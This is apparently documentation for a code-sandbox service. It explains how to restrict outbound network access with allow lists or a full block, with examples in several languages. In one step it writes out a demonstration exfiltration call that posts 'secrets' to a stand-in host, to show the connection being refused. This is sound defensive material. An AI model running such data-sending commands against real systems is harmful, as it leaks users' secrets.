> ## Documentation Index
> Fetch the complete documentation index at: https://docs.fibre.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Network access

> Decide what a sandbox can reach on the internet: everything, only the sites you list, or nothing. Run untrusted or AI-generated code that can install packages but cannot send your data anywhere else.

By default a sandbox can reach the whole internet. It can clone repositories, install packages and call APIs,
which is exactly what most agents need.

Sometimes, though, you run code you cannot fully trust: a file a user uploaded, code a model has just written, or
a dependency nobody has checked. If that code can reach the whole internet, it could **send whatever it finds to
anyone**, such as environment variables, API keys or your users' files.

The `network` option lets you decide what a sandbox can reach:

| `network` | The sandbox can reach |
| - | - |
| leave it out | Everything |
| `{"allow": ["pypi.org", "*.github.com"]}` | **Only** those names and addresses |
| `{"block": true}` | Nothing at all |

You set it when you create the sandbox. **Everything else keeps working as usual**: you can still run commands,
read files and use the sandbox's address. Only the connections that the sandbox itself tries to make to the outside
world are limited.

## Let code install packages, and nothing else

A common setup for code written by a model: it may install Python packages from PyPI, the Python package index,
and **reach nothing else**.

**1. Create the sandbox with an allow list**

```bash title="CLI" run theme={null}
SBX=$(fibre create --allow pypi.org,files.pythonhosted.org --lifetime 10m --label docs=network --json | jq -r .id)
fibre get "$SBX" --json | jq .network   # {"allow": ["pypi.org", "files.pythonhosted.org"]}
```

```typescript title="TypeScript" run theme={null}
import { Sandbox } from "@fibre-dev/sdk";

const sbx = await Sandbox.create({
  network: { allow: ["pypi.org", "files.pythonhosted.org"] },
  lifetime: 600,
  labels: { docs: "network" },
});
console.log(sbx.data.network); // { allow: [ 'pypi.org', 'files.pythonhosted.org' ] }
```

```python title="Python" run theme={null}
from fibre import Sandbox

sbx = Sandbox.create(network={"allow": ["pypi.org", "files.pythonhosted.org"]}, lifetime=600, labels={"docs": "network"})
print(sbx.data["network"])  # {'allow': ['pypi.org', 'files.pythonhosted.org']}
```

```bash title="curl" run capture=SBX=.id theme={null}
curl -sS -X POST "$FIBRE_API_URL/v1/sandboxes" \
  -H "Authorization: Bearer $FIBRE_API_KEY" -H "Content-Type: application/json" \
  -d '{"network": {"allow": ["pypi.org", "files.pythonhosted.org"]}, "lifetime_sec": 600, "labels": {"docs": "network"}}'
```

> [accordion] Response
>
> ```json title="response" expected theme={null}
> {
>   "id": "…",
>   "status": "running",
>   "network": {
>     "allow": ["pypi.org", "files.pythonhosted.org"]
>   }
> }
> ```

**2. Installing from PyPI works**

```bash title="CLI" run theme={null}
fibre exec "$SBX" -- 'python3 -m venv /work/.venv && /work/.venv/bin/pip install -q requests && echo installed'
```

```typescript title="TypeScript" run theme={null}
const install = await sbx.run("python3 -m venv /work/.venv && /work/.venv/bin/pip install -q requests && echo installed", { timeout: 300 });
console.log(install.stdout); // installed
```

```python title="Python" run theme={null}
install = sbx.run("python3 -m venv /work/.venv && /work/.venv/bin/pip install -q requests && echo installed", timeout=300)
print(install.stdout)  # installed
```

```bash title="curl" run capture=INSTALL=.command_id theme={null}
curl -sS -X POST "$FIBRE_API_URL/v1/sandboxes/$SBX/commands" \
  -H "Authorization: Bearer $FIBRE_API_KEY" -H "Content-Type: application/json" \
  -d '{"command": ["sh", "-c", "python3 -m venv /work/.venv && /work/.venv/bin/pip install -q requests && echo installed"]}'
```

```bash title="curl: wait for it" run theme={null}
curl -sSN "$FIBRE_API_URL/v1/sandboxes/$SBX/commands/$INSTALL/logs?follow=1" -H "Authorization: Bearer $FIBRE_API_KEY"
```

> [accordion] Output
>
> ```text title="output" expected theme={null}
> installed
> ```

**3. Anything else is refused**

Now the code tries to send data to another server. The connection is refused, and nothing leaves the sandbox:

```bash title="CLI" run theme={null}
fibre exec "$SBX" -- "/work/.venv/bin/python -c \"import requests; requests.post('https://example.com', data='secrets', timeout=10)\" 2>&1 | tail -n 1 || true"
# requests.exceptions.ConnectionError: …
```

```typescript title="TypeScript" run theme={null}
const leak = await sbx.run(
  `/work/.venv/bin/python -c "import requests; requests.post('https://example.com', data='secrets', timeout=10)" 2>&1 | tail -n 1 || true`,
);
console.log(leak.stdout); // requests.exceptions.ConnectionError: …
```

```python title="Python" run theme={null}
leak = sbx.run(
    "/work/.venv/bin/python -c \"import requests; requests.post('https://example.com', data='secrets', timeout=10)\" 2>&1 | tail -n 1 || true"
)
print(leak.stdout)  # requests.exceptions.ConnectionError: …
```

```bash title="curl" run theme={null}
curl -sS -X POST "$FIBRE_API_URL/v1/sandboxes/$SBX/exec" \
  -H "Authorization: Bearer $FIBRE_API_KEY" -H "Content-Type: application/json" \
  -d '{"command": ["sh", "-c", "curl -sS -m 10 https://example.com > /dev/null && echo reached || echo refused"]}'
```

> [accordion] Response
>
> ```json title="response" expected theme={null}
> {
>   "exit_code": 0,
>   "stdout": "refused\n"
> }
> ```

## What an allow list can hold

An allow list can hold up to 200 entries, of four kinds:

| Entry | Matches | Example |
| - | - | - |
| A name | That name exactly | `api.openai.com` |
| `*.` and a name | Every name under it, not the name itself | `*.githubusercontent.com` |
| An IPv4 address | That address | `203.0.113.10` |
| A CIDR range | Every address in it | `203.0.113.0/24` |

These lists come up often:

| To | Allow |
| - | - |
| Install Python packages | `pypi.org`, `files.pythonhosted.org` |
| Install npm packages | `registry.npmjs.org` |
| Clone from GitHub | `github.com`, `*.githubusercontent.com` |
| Call a model API | the provider's API host, such as `api.anthropic.com` or `api.openai.com` |

> [!TIP]
>
> **Start with a short list and add to it only when needed.** Run the job once. If it fails because it could not
> reach a host, the error names that host. Add it only if the code really needs it.

## No network at all

Some code needs no network at all: a calculation, a parser for user input, a data transformation. For that kind of
work, cut the network off completely with `{"block": true}`:

```bash title="CLI" run theme={null}
SEALED=$(fibre create --no-network --lifetime 5m --label docs=network --json | jq -r .id)
fibre exec "$SEALED" -- 'curl -sS -m 5 https://pypi.org > /dev/null && echo reached || echo no network'   # no network
fibre exec "$SEALED" -- python3 -c 'print(sum(i * i for i in range(10**6)))'   # 333332833333500000
fibre delete "$SEALED"
```

```typescript title="TypeScript" run theme={null}
const sealed = await Sandbox.create({ network: { block: true }, lifetime: 300, labels: { docs: "network" } });
const tryIt = await sealed.run("curl -sS -m 5 https://pypi.org > /dev/null && echo reached || echo no network");
console.log(tryIt.stdout); // no network
const math = await sealed.run(["python3", "-c", "print(sum(i * i for i in range(10**6)))"]);
console.log(math.stdout); // 333332833333500000
await sealed.delete();
```

```python title="Python" run theme={null}
sealed = Sandbox.create(network={"block": True}, lifetime=300, labels={"docs": "network"})
try_it = sealed.run("curl -sS -m 5 https://pypi.org > /dev/null && echo reached || echo no network")
print(try_it.stdout)  # no network
math = sealed.run(["python3", "-c", "print(sum(i * i for i in range(10**6)))"])
print(math.stdout)  # 333332833333500000
sealed.delete()
```

```bash title="curl" run capture=SEALED=.id theme={null}
curl -sS -X POST "$FIBRE_API_URL/v1/sandboxes" \
  -H "Authorization: Bearer $FIBRE_API_KEY" -H "Content-Type: application/json" \
  -d '{"network": {"block": true}, "lifetime_sec": 300, "labels": {"docs": "network"}}'
```

```bash title="curl: try to reach out" run theme={null}
curl -sS -X POST "$FIBRE_API_URL/v1/sandboxes/$SEALED/exec" \
  -H "Authorization: Bearer $FIBRE_API_KEY" -H "Content-Type: application/json" \
  -d '{"command": ["sh", "-c", "curl -sS -m 5 https://pypi.org > /dev/null && echo reached || echo no network"]}'
curl -sS -o /dev/null -X DELETE "$FIBRE_API_URL/v1/sandboxes/$SEALED" -H "Authorization: Bearer $FIBRE_API_KEY"
```

> [accordion] Response
>
> ```json title="response" expected theme={null}
> {
>   "exit_code": 0,
>   "stdout": "no network\n"
> }
> ```

**You can still do everything from the outside**: put files in, run commands and read the results. The sandbox
simply cannot open any connection of its own.

## Good to know

A few rules about how network settings work:

| | |
| - | - |
| When | Set at create. To change it, create a new sandbox (a [snapshot](https://docs.fibre.dev/setup/snapshots.md) makes that instant) |
| Direction | Limits connections **from** the sandbox. Calls you make to it, and visitors to its `url`, work as usual |
| Names | Matched as the code asks for them; the addresses behind an allowed name are allowed |
| Default | No `network`: the whole internet |

## Errors

An invalid `network` setting is refused when you create the sandbox:

| Status | Code | When |
| - | - | - |
| 400 | `validation_failed` | Both `allow` and `block`, or an entry that is not a name, `*.name`, IPv4 address or CIDR |

## Clean up

```bash title="CLI" run theme={null}
fibre delete "$SBX"
```

```typescript title="TypeScript" run theme={null}
await sbx.delete();
```

```python title="Python" run theme={null}
sbx.delete()
```

```bash title="curl" run theme={null}
curl -sS -X DELETE "$FIBRE_API_URL/v1/sandboxes/$SBX" -H "Authorization: Bearer $FIBRE_API_KEY"
```

## Related

> [card] [Security and isolation](https://docs.fibre.dev/production/security.md)
>
> What keeps each sandbox separate from the others.

> [card] [API keys](https://docs.fibre.dev/get-started/api-keys.md)
>
> A key that can only reach one sandbox.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.